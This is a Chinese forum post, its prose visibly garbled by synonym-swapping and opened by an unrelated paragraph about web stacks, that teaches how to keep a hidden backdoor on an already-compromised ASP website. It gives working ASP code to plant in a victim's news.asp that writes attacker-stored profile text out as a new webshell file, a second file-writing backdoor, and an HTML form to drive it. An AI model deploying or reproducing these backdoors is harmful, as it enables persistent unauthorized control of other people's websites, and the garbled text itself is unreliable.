|
马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
对于中小型web应用来说,php有很强的竞争力,linux+apache+mysql+php(lamp)的组合几乎可以胜任绝大多数网站的解决方案,对于大型应用来讲,对于系统架构要求更高,需要有成熟的框架支持,jsp的struts是个不错的框架,国内介绍它的资料也非常多,应用逐渐广泛起来。asp就不用说了,数据|数据库媒介:好长工夫了,从刚入手下手的站点办理器到如今盛行的几款asp后门,信任年夜多网管都能说出这些典范webshell的名字,如陆地、老兵、蓝屏等,也信任年夜多半的网管学会了关头字的搜刮办法来搜刮这些木马,固然如今的工夫假如再象埋没后门就要讲些技能啦,俗语说的好“佛高一尺,我高一丈”。
我不否定n早前的谁人把asp木马写到图片文件中不掉为一种好的办法,实在不但能够写到图片啦写到mp3文件里写到doc文件里都是能够的啦。
copy文件名/参数+文件名/参数天生文件名
如许的办法能够很天真的使用来到达埋没文件的目标,详细的参数就是/a以acsic码体例,/b二进制体例,就不罗嗦这些了,至于怎样上传webshell,甚么是webshell也不属于本文的会商局限。明天要讲的是怎样把后门放到后缀.mdb的中,条件是在我们拿到一个webshell以后……
我们所晓得的,良多站点在用户注册的时分要让填很多多少器材比方:用户名、暗码、QQ、邮箱、团体简介、德律风、接洽体例、住址一类的。而对应到中也城市有响应的表、字段、值。我明天要做的就是,我注册一个用户在我的团体简介的中央上写进shell代码,然后修正他站点上的一个文件,利用的时分触发这个文件,就把我团体简历中的shell代码,备份到以后目次下。
空话少说了,人人看代码:
<%
ifrequest("action")="firefox"then
fname=request.querystring("fn")
tname=request.querystring("tn")
bname=request.querystring("bn")
id=request.querystring("id")
idvalue=request.querystring("idv")
setrs=server.createobject("ADODB.recordset")
sql="select"&bname&"from"&tname&"where"&id&"="&idvalue&""""
rs.opensql,conn,1,3
ifnotrs.eofthen
content=rs(bname)
else
response.write"Nothing"
endif
setfso=Server.createObject("Scripting.FileSystemObject")
settxtfile=fso.createtextfile(server.mappath(fname))
txtfile.writeline(content)
txtfile.close
endif
%>
将上边的代码加到站点的一个文件中,如news.asp。依据我们懂得的信息,在其站点注册后,下载看布局。我注册的firefox名字是在user表,其id值为119用于寄存我注册简历的表字段为jl。
news.asp?action=firefox&fn=firefox.asp&tn=user&bn=jl&id=id&idv=119
那末在利用的时分我们就能够在news.asp不异目次下写进一个名为firefox.asp的webshell。以上能够说是万千埋没办法中的一种,下边再说别的一种更便利的埋没办法,这个办法就和mdb后缀有关系了。
一样我们仍是修正news.asp,将以下代码拔出到对方news.asp中:
<%
ifrequest("action")="firefox"then
n=request.form("n")
c=request.form("c")
setfso=Server.createObject("Scripting.FileSystemObject")
settxtfile=fso.createtextfile(server.mappath(n))
txtfile.writeline(c)
txtfile.close
endif
%>
这段代码绝对复杂些,算是一个木马的服务端吧。利用的时分以这段代码共同:
<HTML><HEAD>
<METAhttp-equiv=Content-Typecontent="text/html;charset=gb2312">
<title>F.s.t火狐手艺同盟[www.wrsky.com]</title>
<FORMaction="...method=post>
<METAcontent="MSHTML6.00.2900.2180"name=GENERATOR></HEAD>
<BODY>Name:<INPUTsize=50
name=nwidth="32"><BR><BR>Shell:<TEXTAREAname=crows=10cols=80
width="32"></TEXTAREA><INPUTtype=submitvalue=Save></FORM></BODY></HTML>
将以上代码中的:“http://localhost/config.asp?action=firefox”交换成你的服务端地点,然后保留为当地的.htm文件。当地翻开后界说要天生的文件名、文件内容、远程提交,ok,又是一种留后门的办法。
ASP脚本是采用明文(plaintext)方式来编写的。 |
|